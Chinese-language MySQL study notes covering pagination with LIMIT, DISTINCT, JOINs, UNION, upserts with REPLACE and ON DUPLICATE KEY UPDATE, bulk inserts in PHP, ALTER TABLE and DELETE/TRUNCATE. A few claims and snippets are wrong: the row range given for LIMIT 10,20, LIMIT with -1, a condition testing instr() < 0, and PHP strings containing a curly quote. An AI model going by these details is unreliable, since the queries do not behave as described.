LIMIT 1会令查询更加有效,这样数据库引擎发现只有1后将停止扫描,而不是去扫描整个表或索引
select * from tablename limit 1 // 返回1条纪录
select * from tablename limit 5 // 返回5条纪录
select * from tablename limit 10,20 // 从第11条到31条(共计20条)
为了检索从某一个偏移量到记录集的结束所有的记录行,可以指定第二个参数为-1:
select * from tablename limit 95,-1; // 检索记录行 96-last.
$page = max(1, input('page/d'));
$limit = max(10, input('limit/d'));
$count = count(Order::where($where)->column('id'));
$orders = Order::where($where)->order('id desc')->limit(($page - 1) * $limit, $limit)->select();
当偏移量特别大时,limit效率会非常低。
SELECT id FROM A LIMIT 1000,10 很快
SELECT id FROM A LIMIT 90000,10 很慢
select id from A order by id limit 90000,10; 结合order by使用,很快,0.04秒就OK,因为使用了id主键做索引
超大的分页一般从两个方向上来解决.
数据库层面,这也是主要集中关注的(虽然收效没那么大)
select * from table where age > 20 limit 1000000,10
这种查询其实也是有可以优化的余地的。
这条语句需要load1000000数据然后基本上全部丢弃,只取10条当然比较慢. 当时可以修改为
select * from table where id in (select id from table where age > 20 limit 1000000,10)
这样虽然也load了一百万的数据,但是由于索引覆盖,要查询的所有字段都在索引中,所以速度会很快。
同时如果ID连续的好,还可以select * from table where id > 1000000 limit 10,效率也是不错的,优化的可能性有许多种,但是核心思想都一样,就是减少load的数据。
从需求的角度减少这种请求…主要是不做类似的需求(直接跳转到几百万页之后的具体某一页。只允许逐页查看或者按照给定的路线走,这样可预测,可缓存),以及防止ID泄漏且连续被人恶意攻击。
解决超大分页,其实主要是靠缓存,可预测性的提前查到内容,缓存至redis等k-V数据库中,直接返回即可。
【 distinct 】
distinct必须放在开头,一般用来去除查询结果中的重复记录,这个语句在select、insert、delete和update中只可以在select中使用
当distinct应用到多个字段的时候,其应用的范围是其后面的所有字段,而不只是紧挨着它的一个字段,而且distinct只能放到所有字段的前面
distinct对NULL是不进行过滤的,即返回的结果中是包含NULL值的
select distinct expression[,expression...] from tables [where conditions]
select distinctrow expression[,expression...] from tables [where conditions]; // 与distinctrow同义
select distinct name from users; // 去除重复,只显示不重复的name
select distinct name,id from users; // 作用于多列,显示不是name和id完全相同的name和id
select count(distinct username) from users; // 显示username不同的记录的条数,只能统计一个字段
select count(*) from (select distinct xing,name from B) AS M; // 统计多个字段使用嵌套查询
select distinct(name), age from test;
目的是给name去重,虽然没有报错,但其实上面的sql最终被解析成:
select distinct (name), age from test;
就是说distinct不是一个函数,而是select的一部分,结果是给name,age的组合数据去重,name加括号在这里没有什么意义
与ALL不能同时使用
默认查询时返回所有的结果,此时使用的就是all语句,这是与distinct相对应的
select all country, province from person
使用distinct对*操作,*代表整列
select DISTINCT * from person
相当于
select DISTINCT id, `name`, country, province, city from person;
【 reverse 】
使用倒序存储:
如果存储身份证号的时候把它倒过来存,每次查询的时候可以这么写:
mysql> select field_list from t where id_card = reverse('input_id_card_string');
由于身份证号的最后6位没有地址码这样的重复逻辑,所以最后这6位很可能就提供了足够的区分度。当然实践中不要忘记使用count(distinct)方法去做个验证
【 使用hash字段 】
可以在表上再创建一个整数字段,来保存身份证的校验码,同时在这个字段上创建索引。
mysql> alter table t add id_card_crc int unsigned, add index(id_card_crc);
然后每次插入新记录的时候,都同时用crc32()函数得到校验码填到这个新字段。由于校验码可能存在冲突,也就是说两个不同的身份证号通过crc32()函数得到的结果可能是相同的,所以查询语句where部分要判断id_card的值是否精确相同。
mysql> select field_list from t where id_card_crc=crc32('input_id_card_string') and id_card='input_id_card_string'
这样索引的长度变成了4个字节,比原来小了很多
【 order by 】
// 当按照多个列进行排序时,只有第一列的值相同时才使用第二列
select * from user order by name, age // 对结果集排序,默认升序asc
select * from user order by name desc // 降序排列
select * from user order by name desc, age asc
mysql使用utf-8字符集时汉字排序并不是按照字母顺序的,解决方式有两个:
1.修改数据库字符集,把utf-8改为gbk。
2.select * from user order by name desc 改为 select * from user order by convert(name using gbk) desc
【 count 】
select count(*) from wish; //统计数据库中纪录的条数
SELECT count(*) FROM table WHERE a = 1 AND b = 2
SELECT 1 FROM table WHERE a = 1 AND b = 2 LIMIT 1 // 优化推荐写法,业务代码中直接判断是否非空即可
COUNT()有两个非常不同的作用:
它可以统计某个列值的数量,也可以统计行数。在统计列值时要求列值是非空的(不统计NULL)。
如果在COUNT()的括号中定了列或者列表达式,则统计的就是这个表达式有值的结果数。
另一个作用是统计结果集的行数。当MySQL确认括号内的表达式值不可能为空时,实际上就是在统计行数。
最简单的就是使用COUNT(*)时,这种情况下通配符*并不像猜想的那样扩展成所有的列,实际上他会忽略所有列而直接统计所有的行数。
SELECT count(collect) FROM `fa_user`; // 统计collect不为null的数据,COUNT函数不会将null值计数
SELECT count(*) FROM `fa_user`; // 统计所有数据,可以将null值计数
【 as 】
SQL为列名称和表名称指定别名Alias,易于阅读和书写
表名称别名: select column_name(s) from table_name as alias_name
select per.name,per.age,pro.id from person as per,product as pro where per.age=22 // 两个表person和product
列名称别名: SELECT column_name as alias_name from table_name
select LastNmae as Last,FirstName as First from persons
【 子查询 】
$sql='select * from message where id >(select max(id) from message)-15'; // 子查询,子句,最后15条纪录
$sql='select * from message where id >(select count(id) from message)-15'; // 最后15条纪录
select * from user where birthday >=(select birthday from user order by birthday limit 1,1); // 子查询
【 union联合来代替手动创建的临时表 】
union查询可以把需要使用临时表的多条select查询合并到一个查询中,即把两次或多次查询结果合并起来,在客户端的查询会话结束的时候临时表会被自动删除,从而保证数据库整齐、高效。使用union来创建查询时只需要用UNION作为关键字把多个select语句连接起来就可以了,所有select语句中的字段数目要想同,列的类型可以不一样,但推荐查询的每一列相对应的类型要一样
UNION结果集中的列名总是等于第一个SELECT语句中的列名
union操作符用于合并多个SELECT语句的结果集,默认地UNION操作符去掉重复的行选取不同的值,如果允许重复的值则使用UNION ALL
select column_name(s) from table_name1 union / union all select column_name(s) from table_name1
SELECT语句不要使用UNION,推荐使用UNION ALL,并且UNION子句个数限制在5个以内。因为union all不需要去重,节省数据库资源,提高性能。
尽量避免在where子句中使用or来连接条件,否则将导致引擎放弃使用索引而进行全表扫描,可以使用union all
应尽量避免在where子句中使用or来连接条件,否则将导致引擎放弃使用索引而进行全表扫描
select id from t where num=10 or num=20
select id from t where num=10 union all select id from t where num=20
避免使用子查询,可以把子查询优化为连接(JOIN)操作
子查询的结果集无法使用索引
子查询会产生临时表操作,如果子查询数据量大则严重影响效率
避免使用JOIN关联太多的表
每JOIN一个表会多占用一部分内存(joinbuffersize)
会产生临时表,影响查询效率
MySQL最多允许关联61个表,建议不超过5个
mysql> select username,age from user union select username,age from users;
+----------+------+
| username | age |
+----------+------+
| 张三 | 20 |
| 刘六 | 22 |
| liuliu | 26 |
| wangwu | 23 |
| wangwu | 27 |
+----------+------+
如果子句中order by、limit需用括号()包起来,推荐放到所有子句之后,即对最终合并的结果来排序或筛选。
mysql> (select username,age from user order by age) union (select username,age from users order by age) // 列出用户表和会员表中名字和年龄不完全相同的
【 join 联表查询 】
用于根据多个表中列之间的关系从这些表中查询数据
MySQL中的外连接分为左外连接和右连接,即除了返回符合连接条件的结果之外,还要返回左表(左连接)或右表(右连接)中不符合连接条件的结果,相对应的使用NULL对应
select * FROM table1 INNER|LEFT|RIGHT JOIN table2 ON conditiona
MySQL的JOIN实现原理
在MySQL中只有一种Join算法Nested Loop Join,实际上就是通过驱动表的结果集作为循环基础数据,然后一条一条的通过该结果集中的数据作为过滤条件到下一个表中查询数据,然后合并结果。如果还有第三个参与Join,则再通过前两个表的Join结果集作为循环基础数据,再一次通过循环查询条件到第三个表中查询数据,如此往复
Primary Key主键列的每一行的值都是唯一的,多个表可以通过主键彼此联系起来
select person.name,product.size from person,product where person.id=product.id
select person.name,product.size from person inner join product on person.id=product.id order by person.name
select person.name,product.size from person left join product on person.id=product.id order by person.name
1、inner join
内连接也叫等值连接,产生同时符合A和B的一组数据,交集,和JOIN相同
找出两表中关联相等的行,这种情况和直接两表硬关联等价
select * from post,category\G // 笛卡尔积(交叉连接),post3行,Category2行,返回6行
select * from post,category where post.cid = category.cid\G // 隐式inner join
select * from A inner join B on A.name = B.name;
SELECT p.title,c.category_name FROM post p INNER JOIN category c ON p.cid = c.cid;
SELECT * FROM t1 JOIN t2 ON t1.id= t2.id JOIN t3 ON t2.id = t3.id;
上面的写法等于下面这种写法:
SELECT * FROM t1,t2,t3 WHERE t1.id = t2.id AND t2.id =t3.id;
SELECT c.name,c.class,co.cname,s.score
FROM class c,course co,score s
WHERE c.id = s.xuehao AND co.cno = s.scno
ORDER BY score desc;
SELECT name,scno,score FROM class c,score s WHERE c.id = s.xuehao AND (age NOT BETWEEN 25 AND 27);
using用法
在平时做关联表查询的时候一般是这样的
select * from 表1 inner join 表2 on 表1.相同的列=表2.相同的列;
然后可以改成这样也是同样的效果
select 表1的列 from 表1 inner join 表2 on 表1.相同的列=表2.相同的列
然后还可以改成这样
select * from 表1 inner join 表2 using(相同的列);
using等价于join操作中的on,例如a和b根据id字段关联,那么以下等价
using(id)
on a.id=b.id
以下2个实例等价:
select a.name,b.age from test as a join test2 as b on a.id=b.id
select a.name,b.age from test as a join test2 as b using(id)
也就是说,如果两个表的关联字段名是一样的就可以使用Using来建立关系,简洁明了,不一样只能用On了
低性能分页查询SQL写法
SELECT id,k FROM sbtest1 ORDER BY k DESC LIMIT 100000,5;
高性能分页查询SQL写法
SELECT id,k FROM sbtest1 INNER JOIN ( SELECT id FROM sbtest1 ORDER BY k DESC LIMIT 100000,5) t2 USING (id);
2、join
同inner join
3、left join
左连接,即使右表中没有匹配,也从左表中返回左表所有行,以左表为准返回左表所有的信息
工作原理: 从左表读出一条,选出所有与on匹配的右表纪录(n条)进行连接,形成n条纪录(包括重复的行,如: 结果1和结果3),如果右边没有与on条件匹配的表,那连接的字段都是null.然后继续读下一条
左连接从左表(A)产生一套完整的记录,与匹配的记录(右表B),如果没有匹配右侧将包含null
mysql> select * from A left join B on A.name = B.name;
如果想只从左表(A)中产生一套记录,但不包含右表(B)的记录,可以通过设置where语句来执行
mysql> select * from A left join B on A.name=B.name where A.id is null or B.id is null;
SELECT p.title,c.category_name FROM post p LEFT JOIN category c ON p.cid = c.cid;
4、right join
即使左表中没有匹配,也从右表中返回右表所有行
SELECT COUNT(p.id),c.category_name FROM post p RIGHT JOIN category c ON p.cid = c.cid;
SELECT p.title,c.category_name FROM post p RIGHT JOIN category c ON p.cid = c.cid;
5、mysql不支持Full join,不过可以通过UNION关键字来合并LEFT JOIN与RIGHT JOIN来模拟FULL join
只要其中一个表中存在匹配,就返回所有表的行,完全合并
数据库在通过连接两张或多张表来返回记录时都会生成一张中间的临时表,然后再将这张临时表返回给用户
on、where、having这三个都可以加条件的子句中,on是最先执行,where次之,having最后
对于JOIN参与的表的关联操作,如果需要不满足连接条件的行也在查询范围内的话,必需把连接条件放在ON后面,而不能放在WHERE后面,如果把连接条件放在了WHERE后面,那么所有的LEFT,RIGHT等这些操作将不起任何作用,这种情况的效果就完全等同于INNER连接。对于那些不影响选择行的条件,放在ON或WHERE后面就可以
on条件给出中间表,where再对中间表过滤,不会再返回左表或右表的全部记录
ON条件用来决定如何从B表中检索数据行,如果B表中没有任何一行数据匹配ON的条件,将会额外生成一行所有列为NULL的数据,在匹配阶段WHERE子句的条件都不会被使用。仅在匹配阶段完成以后,WHERE子句条件才会被使用,它将从匹配阶段产生的数据中检索过滤
SELECT p.id,c.category_name FROM post p LEFT JOIN category c ON p.cid=c.cid where c.category_name='php';
SELECT p.id,c.category_name FROM post p LEFT JOIN category c ON p.cid=c.cid where p.id=1;
and连接on的全部条件给出中间表,条件不为真时也会返回左表中的记录,null
SELECT p.title,c.category_name FROM post p LEFT JOIN category c ON p.cid=c.cid and c.category_name='php';
在使用join的时候,一定要在先给出尽可能多的匹配满足条件,减少Where的执行
select * from A
inner join B on B.name = A.name
left join C on C.name = B.name
left join D on D.id = C.id
where C.status>1 and D.status=1;
select * from A
inner join B on B.name = A.name
left join C on C.name = B.name and C.status>1
left join D on D.id = C.id and D.status=1
【 select into 和 insert into select from 】 select into from 和 insert into select都是用来复制表,主要区别: select into from要求目标表不存在,因为在插入时会自动创建。insert into select from要求目标表存在,相应字段页必须存在 SELECT vale1, value2 into Table2 from Table1 要求目标表Table2不存在,因为在插入时会自动创建表Table2,并将Table1中指定字段数据复制到Table2中 将表中选取的数据插入另一个表,用于创建表的备份附件或对记录存档 select * into new_table_name from old_table_name select column_name(s) into new_table_name from old_table_name select * into new_table_name in other_dbname from old_table_name 拷贝到另一个数据库的表中 SELECT Persons.LastName,Orders.OrderNo INTO Persons_Order_Backup FROM Persons INNER JOIN Orders ON Persons.Id_P=Orders.Id_P Insert into Table2(field1,field2,...) select value1,value2,... from Table1 (1)要求目标表Table2必须存在,并且字段field,field2也必须存在 (2)注意Table2的主键约束,如果Table2有主键而且不为空,则field1,field2中必须包括主键 (3)注意语法,不要加values,和插入一条数据的sql不同 (4)由于目标表Table2已经存在,所以除了插入源表Table1的字段外,还可以插入常量。 Insert into Table2(a, c, d) select a,c,5 from Table1 通过insert into select from备份数据表到新表中 当数据表有大量记录通过insert into select from复制时,不恰当的where条件会导致全表扫描,mysql会熊上到下扫描原始表内的记录并加锁,结果和锁表一样,导致用户无法插入数据 解决方案: 给某个字段添加索引,由于走索引查询就不会出现扫描全表的情况而锁表了,只会锁定符合条件的记录 insert into order_recode select * from order_tody force index (idx-pay-auc-time) where pay_success_time <= '2020-03-08 00:00:00' 【 数据复制 】 insert into table1 (select * from table2); // 表数据复制 create table table1 select * from table2 where 1>1; // 复制表结构 create table table1 select * from table2; // 复制表结构和数据 create table table1 as select id,name from table2 where 1>1; // 复制指定字段 脚本可以分批小批量持续删除,中间sleep一定时间保证不影响业务,细水长流慢慢删,比较稳妥,毕竟大数据量的del比较耗时间,上锁可能会影响业务 mysql数据表清理数据,对业务影响最小,保留指定范围的数据 初版的实现: create table test_db.test_track_log_tmp like test_db.test_track_log; alter table test_db.test_track_log rename to test_db_arch.test_track_log; alter table test_db.test_track_log_tmp rename to test_db.test_track_log; 这种操作看起来很简单,但也存在一些问题 一个是在切换的过程中,如果写入数据是会丢失数据的,即数据已经入库,这里通过rename丢失数据。第二个是这个操作不够简洁 mysql> create table test_db_arch.test_track_log like test.test_track_log; mysql> RENAME TABLE test.test_track_log TO test_db_arch.test_track_log_bak, test_db_arch.test_track_log TO test.test_track_log, test_db_arch.test_track_log_bak TO test_db_arch.test_track_log; Query OK, 0 rows affected (0.02 sec) 整个过程持续0.02秒,亿级数据的切换,整体来说效果还是很明显的
UPDATE
UPDATE 表名 SET 字段名=新值[,字段名=新值] [更新条件] 不加where子句将会进行全表更新 (1)尽量不要修改主键字段 (2)当修改VARCHAR型字段时,尽量使用相同长度内容的值代替。 (3)尽量最小化对于含有UPDATE触发器的表的UPDATE操作。 (4)避免UPDATE将要复制到其他数据库的列。 (5)避免UPDATE建有很多索引的列。 (6)避免UPDATE在WHERE子句条件中的列。 修改不存在的数据或没有修改$result都会返回true,所以通过受影响行数: '.mysqli_affected_rows($link)来查看有效的修改的数据行数 uodate table_name set colume1 = value1,column2 = value2,... where some_column = some_value update user set age = 22,city = 'hunan' where name = 'Tom'; // 更新多个字段 update user set collect_num = (select sum(collect_num) from article where user_id=user.id) where user.id=1; 字段自增自减 update `info` set `comments` = `comments`+1 WHERE `id` = 32 update `info` set `comments` = `comments`-1 WHERE `id` = 32 update `info` set `comments` = if(`comments`< 1,0,`comments`-1) WHERE `id` = 32 // 防止comment=0 替换数据库中的部分内容 update tablename set filename = replace(filename ,'原值','新值'); //更新filename字段中的内容 update info set subject = replace(subject,'welcome to','欢迎光临') where instr(subject,'Welcome to') < 0 // 将info表subject字段中的welcom to替换成欢迎光临 更新多条记录 update users set chang_type = case id when 1 then 'value1' when 2 then 'value2' end where id in (1,2); update users set age = case age when 22 then '23' when 24 then '25' end where age in (22,24); 更新多条记录的多个值 update users set chang_type = case id when 1 then 'value1' when 2 then 'value2' end, score = case id when 1 then 1 when 2 then 2 where id in (1,2);
INSERT
INSERT [INTO] 表名 [(字段列表)] VALUES (值列表)[,(值列表),…]
插入新纪录,如果要插入的值列表包含所有字段并且顺序一致则可以省略字段列表,可同时插入多条数据记录,10条同时插入是最高效的
REPLACE与INSERT完全一样,可互换
批量插入时,依次插入当遇到错误时后面的插入失败,但前面的会插入成功
insert into users (name,age) values ('zhangsan',22);
insert into users (name,age) values ('zhangsan',22),('lisi',24);
insert into user (password) values (md5(123));
insert into users values(1,"zhaoqi","zhaoqi",22); // 参一指定自增主键的值
insert into users values(null,"zhaoqi","zhaoqi",22); // null为主键id,自增可用null表示自动添加
insert into `ims_wd_wxhb_red` set `image`='sdssd.jpg',`cate`='测试',`left`='2',`updatetime`=232323,`createtime`=232323;
【 插入数据: 不存在则插入,存在则跳过或更新 】
在做数据插入的时候需要判断一下当前插入的数据是否已经存在于数据库中。
一般会写两条sql去操作
select查询当前插入的数据是否已经存在,如果不存在就插入新的记录,如果存在就提示用户该记录已经存在
mysql> CREATE TABLE `t` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`a` int(11) NOT NULL,
`b` int(11) NOT NULL,
PRIMARY KEY (`id`),
UNIQUE KEY `a` (`a`)
) ENGINE=InnoDB AUTO_INCREMENT=1 DEFAULT CHARSET=utf8
mysql> insert into t (a,b) values(2,2),(3,3),(4,4);
插入更新语句:
ON DUPLICATE KEY UPDATE
该语句的语法如下:
INSERT INTO tablename(field1,field2, field3, ...)
VALUES(value1, value2, value3, ...)
ON DUPLICATEKEY UPDATE field1=value1,field2=value2, field3=value3, ...;
这个语法的目的是为了解决重复性,当数据库中存在某个记录时,执行这条语句会更新它,而不存在这条记录时会插入它。
该语句规则如下:如果插入的记录导致一个UNIQUE索引或primary key(主键)出现重复,那么就会认为该条记录存在,则执行update语句而不是insert语句,反之则执行insert语句而不是更新语句。
忽略重复插入语句
INSERT IGNORE INTO
忽略数据库中已经存在的数据,如果数据库没有数据就插入新的数据,如果有数据的话就跳过当前插入的这条数据。这样就可以保留数据库中已经存在数据,达到在间隙中插入数据的目的。
1、IGNORE
根据插入表的主键和唯一索引去匹配的,如果当前插入的记录存在则跳过不插入。
INSERT IGNORE INTO `user` ('phone') VALUES ('18888888888');
user表phone字段唯一,如果有这条记录则不执行插入操作,如果出现重复数据,将不返回错误,只是以警告形式返回。
2、INSERT……SELECT……WHERE NOT EXISTS
根据查询条件判断是否已经有对应的值,有的话跳过,没有的话执行插入,随便想查什么就查什么,这个用得最多
传统方法 not exists()
通过使用EXISTS条件句防止插入重复记录
插入多条记录
INSERT INTO clients (client_id, client_name, client_type)
SELECT supplier_id, supplier_name, 'advertising'
FROM suppliers
WHERE not exists (select * from clients where clients.client_id = suppliers.supplier_id);
插入单条记录
INSERT INTO clients (client_id, client_name, client_type)
SELECT 10345, 'IBM', 'advertising'
FROM dual // 使用dual做表名可以让你在select语句后面直接跟上要插入字段的值,即使这些值还不存在当前表中
WHERE not exists (select * from clients where clients.client_id = 10345);
也可以是一个表(clients):
INSERT INTO clients (id, name, type)
SELECT 10345, 'IBM', 'advertising'
FROM clients
WHERE not exists (select * from clients where id = 10345);
3、REPLACE INTO
如果存与主键或唯一索引相同的记录,那么则会先删除,然后在插入新记录
如果有两个主键或唯一索引,必须要值全部匹配才会执行替换操作,否则执行插入操作
MySQL对REPLACE(和LOAD DATA ... REPLACE)使用以下算法 :
尝试将新行插入表中
插入失败,因为主键或唯一索引发生重复键错误:
从表中删除具有重复键值的冲突行
再次尝试将新行插入表中
replace into相当于先检测该记录是否存在(根据表上的唯一键),如果存在先delete然后再insert。这个方法有一个很大的问题,如果记录存在,每次执行完主键自增id就变了(相当于重新insert了一条),对于有复杂关联的业务场景,如果主表的id变了,其它子表没做好同步,会死得很难看。-- 不建议使用该方法!
mysql> replace into t(a,b) values(3,30);
Query OK, 2 rows affected (0.01 sec)
mysql> select * from t;
+----+---+----+
| id | a | b |
+----+---+----+
| 1 | 2 | 2 |
| 3 | 4 | 4 |
| 4 | 3 | 30 | #id 变成了4,即将原记录删除再重新插入
+----+---+----+
删除唯一索引
mysql> alter table t drop index `a`;
mysql> replace into t(a,b) values(4,40);
Query OK, 1 row affected (0.02 sec)
mysql> select * from t;
+----+---+----+
| id | a | b |
+----+---+----+
| 1 | 2 | 2 |
| 3 | 4 | 4 | #原来记录,没有变
| 4 | 3 | 30 |
| 5 | 4 | 40 | #新增加了记录
+----+---+----+
4、on duplicate key update, 只是MySQL的特有语法,并不是SQL标准语法
主键或唯一索引有重复时则执行update操作
假设有一张表,id为主键,并且表中已经存在了id=1,likes=5的记录,此时下面两条sql等价
INSERT INTO TABLENAME (id,likes) VALUES (1,18) ON DUPLICATE KEY UPDATE likes=likes+1;
UPDATE TABLENAME SET likes=likes+1 WHERE id=1;
如果是插入值,返回受影响行数为1,如果执行了更新操作那么返回的受影响行数为2
如果条件是针对于主键操作的,那么此操作是无效操作,等同于ignore
如果一次性插入多条记录,此时id为主键,或a是一个unique索引,并且表中已经存在id=1,likes=3的记录。
INSERT INTO TABLENAME (id,likes) VALUES (1,3),(1,7) ON DUPLICATE KEY UPDATE likes = likes+1;
执行后likes的值为变成5,因为在插入前已经存在了id=1的记录,上面的sql等于执行了两条update语句
INSERT INTO TABLENAME……ON DUPLICATE KEY UPDATE……这样的sql中,假如插入的记录在表中一种有重复值(与主键、唯一索引匹配),那么则会执行update操作,如果在插入的时候表中没有重复值,那么就会执行insert操作
问题来了,如果INSERT多行记录, ON DUPLICATE KEY UPDATE后面字段的值怎么指定?要知道一条INSERT语句中只能有一个ON DUPLICATE KEY UPDATE,到底他会更新一行记录,还是更新所有需要更新的行,其实使用VALUES()函数一切问题都解决了。
如果表中已经有id=1,likes=18;id=2,likes=19的两条记录,如果插入语句中有id=1或者id=2的记录,则更新原有记录,否则插入新行。
delete from t where id=5; 删除上面生成的重复键
alter table t add unique index `a`(a); 重新加上唯一索引
mysql> select * from t;
+----+---+----+
| id | a | b |
+----+---+----+
| 1 | 2 | 2 |
| 3 | 4 | 4 |
| 4 | 3 | 30 |
+----+---+----+
3 rows in set (0.00 sec)
mysql> insert into t(a,b) values(4,40) ON DUPLICATE KEY UPDATE a=values(a),b=values(b);
Query OK, 2 rows affected (0.04 sec)
mysql> select * from t;
+----+---+----+
| id | a | b |
+----+---+----+
| 1 | 2 | 2 |
| 3 | 4 | 40 | #只更新这行值,id没变
| 4 | 3 | 30 |
+----+---+----+
3 rows in set (0.00 sec)
on duplicate key遇到重复键违反了唯一约束时会做update,否则做insert。该方法没有replace into的副作用,不会导致已存在记录的自增id变化。但是有另外一个问题,如果这个表上有不止一个唯一约束,在特定版本innodb5.0+的mysql中容易产生dead lock(死锁),也有可能导致主从模式下的replication产生数据不一致
解决办法:
1、尽量不对存在多个唯一键的table使用该语句
2、在有可能有并发事务执行的insert 的内容一样情况下不使用该语句
【 大批量插入数据库的3种方法和速度对比 】
第一种方法:使用insert into 插入
$params = array('value'=>'50′);
set_time_limit(0);
echo date("H:i:s");
for($i=0;$i < 2000000;$i++) $connect_mysql->insert($params);
echo date("H:i:s");
花了2个小时多!
第二种方法:使用事务提交,批量插入数据库,每隔10W条提交下,最后显示消耗的时间为8分13秒
echo date("H:i:s");
$connect_mysql->query('BEGIN');
$params = array('value'=>'50′);
for($i=0;$i < 2000000;$i++){
$connect_mysql->insert($params);
if($i%100000==0){
$connect_mysql->query('COMMIT');
$connect_mysql->query('BEGIN');
}
}
$connect_mysql->query('COMMIT');
echo date("H:i:s");
第三种方法:使用优化SQL语句:将SQL语句进行拼接,使用 insert into table () values (),(),(),()然后再一次性插入,字符串太长则需要配置下MYSQL,在mysql命令行中运行 :set global max_allowed_packet = 2*1024*1024*10; 插入200W条测试数据仅仅用了1分钟
$sql= "insert into twenty_million (value) values";
for($i=0;$i < 2000000;$i++) $sql.="('50′),";
$sql = substr($sql,0,strlen($sql)-1);
$connect_mysql->query($sql);
最后总结下,在插入大批量数据时,第一种方法无疑是最差劲的,而第二种方法在实际应用中就比较广泛,第三种方法在插入测试数据或者其他低要求时比较合适,速度确实快。
REPLACE语句
根据应用情况可以使用replace语句代替insert/update语句
如果一个表在一个字段上建立了唯一索引,向表中使用已经存在的键值插入一条记录会抛出一个主键冲突的错误,如果想用新记录的值来覆盖原来的记录值时就可以使用REPLACE语句。
使用REPLACE插入记录时,replace into首先尝试插入数据到表中,根据主键或唯一索引判断如果发现表中存在重复记录则先删除此行数据然后插入新的数据,使用新记录的值来替换原来的记录值;否则直接插入新数据,与INSERT一样
插入数据的表必须有主键或唯一索引,否则replace into会直接插入数据,导致表中出现重复的数据。
使用REPLACE的最大好处就是可以将DELETE和INSERT合二为一,形成一个原子操作,这样就可以不必考虑同时使用DELETE和INSERT时添加事务等复杂操作了。
INSERT INTO score (change_type,score,user_id) VALUES ('吃饭',10,1),('喝茶',10,1),('喝茶',10,1);
REPLACE INTO score (change_type,score,user_id) VALUES ('吃饭',10,1),('喝茶',10,1),('喝茶',10,1);
对比update和replace的区别:
1)update在没有匹配记录时什么都不做,而replace在有重复记录时更新,在没有重复记录时插入。
2)update可以选择性地更新记录的一部分字段,而replace在发现有重复记录时就将这条记录彻底删除,再插入新的记录,即将所有的字段都更新了。
MySQL replace into有三种形式:
1. replace into tbl_name(id,update_time) values(1,now())
2. replace into tbl_name(id,update_time) select 1,now();
3. replace into tbl_name set col_name=value,...
第一种形式类似于insert into的用法,
第二种replace select的用法也类似于insert select,这种用法并不一定要求列名匹配,事实上MYSQL甚至不关心select返回的列名,它需要的是列的位置。例如replace into tb1( name,title,mood) select rname,rtitle,rmood from tb2;?使用replace into从tb2中将所有数据导入tb1中。
第三种replace set用法类似于update set用法,使用一个例如"SET col_name = col_name + 1"的赋值,则对位于右侧的列名称的引用会被作为DEFAULT(col_name)处理。因此该赋值相当于SET col_name = DEFAULT(col_name) + 1。
前两种形式用的多些,其中"into"关键字可以省略,不过最好加上"into",这样意思更加直观,对于那些没有给予值的列MySQL将自动为这些列赋上默认值。
【 replace(object,search,replace) 】
把object中出现search的全部替换为replace
用法一: 并不是修改数据,而只是单纯做局部替换数据返还而已。
select replace('喝茶','茶','喝'); // 喝喝
用法二: 修改表数据,根据change_type字段找到做任务的数据,用bb来替换
update score set change_type=replace(change_type,'做任务','bb')
ALTER TABLE语句用于在已有的表中添加、修改或删除列
ALTER TABLE 表名称 更改动作1[动作2]; 动作有ADD(增加)、DROP(删除)、CHANGE、MODIFY(更改字段名和类型)、RENAME alter table user auto_increment=10; // 设置自增主键值为10,下次新增有效 ALTER COLUMN 设置或删除列的默认值,操作速度非常快 alter table Persons alter City set default 'SANDNES' // 设置默认值 alter table Persons alter City drop default // 撤销默认值 alter table Persons alter column City set default 'SANDNES' // 设置默认值 alter table Persons alter column City drop default // 撤销默认值 数据表重命名 alter table tablename rename to newtablename rename table old_table to new_table; alter table user add birthday date; // 追加birthday字段 alter table user add address varchar(25) NOT NULL DEFAULT ''; // 增加字段 alter table user add (nickname varchar(30) not null default '空'); // 追加nickname字段 alter table `news` add `delete_time` timestamp null default null after `author_id`; // 在指定的字段后面增加一个字段 alter table user drop column age; // 删除user表中age字段 alter table user drop sremark; // 删除user表中sremark字段 modify column与change column 区别在于修改字段名称只能是用change,modify不能修改字段名称 MODIFY可以更改列的定义,修改字段的长度,但不能更改列的名称,兼容Oracle的扩展 alter table 表名 modify column 字段名 数据类型(修改后的长度) alter table user modify column id int(20) alter table user modify (ID number(4)); // 修改字段 alter table user modify sremark varchar(25); // 更改字段类型 CHANGE可以列的重命名、列类型的变更以及列位置的移动或者修改列的定义,是标准SQL的扩展 使用change修改字段类型的时候,即使不修改字段名称也要把原名称写上,否则会报错 alter table < 表名 > change < 字段名 > < 字段新名称 > < 字段的类型 > alter table user change user_name uname varchar(20) alter table user change saddress address text; // 更改字段名和字段类型 alter table user change saddress address varchar (25); // 即使不更改字段类型也要给出字段类型 alter table user change saddress address varchar(25) character set utf8mb4 collate utf8mb4_general_ci null default null; alter table user change column foo bar varchar(32) not null first; alter table user change column foo bar varchar(32) not null after baz; 批量修改字段名称 alter table 表 change 修改前字段名 修改后字段名称 int(11) not null, change 修改前字段名 修改后字段名称 int(11) not null, change 修改前字段名 修改后字段名称 int(11) not null
DELETE
DELETE FROM 表名 WHERE 列名=值 删除表中的纪录行 delete from 表名 // 删除表中所有纪录 delete * from 表名 // 删除表中所有纪录 delete from student where sno='0321002'; delete from student where left (sno,4)='0322'; // 删除student表中sno字段值前4位为'0322'的记录 truncate table tablename; (1)truncate table删除速度更快,但truncate table删除后不记录mysql日志,不可以恢复数据 (2)如果没有外键关联,innodb执行truncate是先drop table(原始表),再创建一个跟原始表一样空表,速度要远远快于delete逐条删除行记录。(思考删除百万级数据的时候是否可用truncate table) (3)如果使用innodb_file_per_table参数,truncate table能重新利用释放的硬盘空间,在InnoDB Plugin中truncate table为自动回收,如果不是用InnoDB Plugin,那么需要使用optimize table来优化表,释放空间。 truncate table删除表后,optimize table尤其重要,特别是大数据数据库,表空间可以得到释放 (4)表有外键关联,truncate table删除表数据为逐行删除,如果外键指定级联删除(delete cascade),关联的子表也会被删除所有表数据。如果外键未指定级联(cascde),truncate table逐行删除数据,如果是父行关联子表行数据将会报错。 一个大的DELETE或INSERT操作要非常小心,因为这两个操作是会锁表的,表一锁住其他操作就进不来了,因此要交给DBA去拆分,重整数据库策略,比如限制处理1000条。 删除和索引的联系 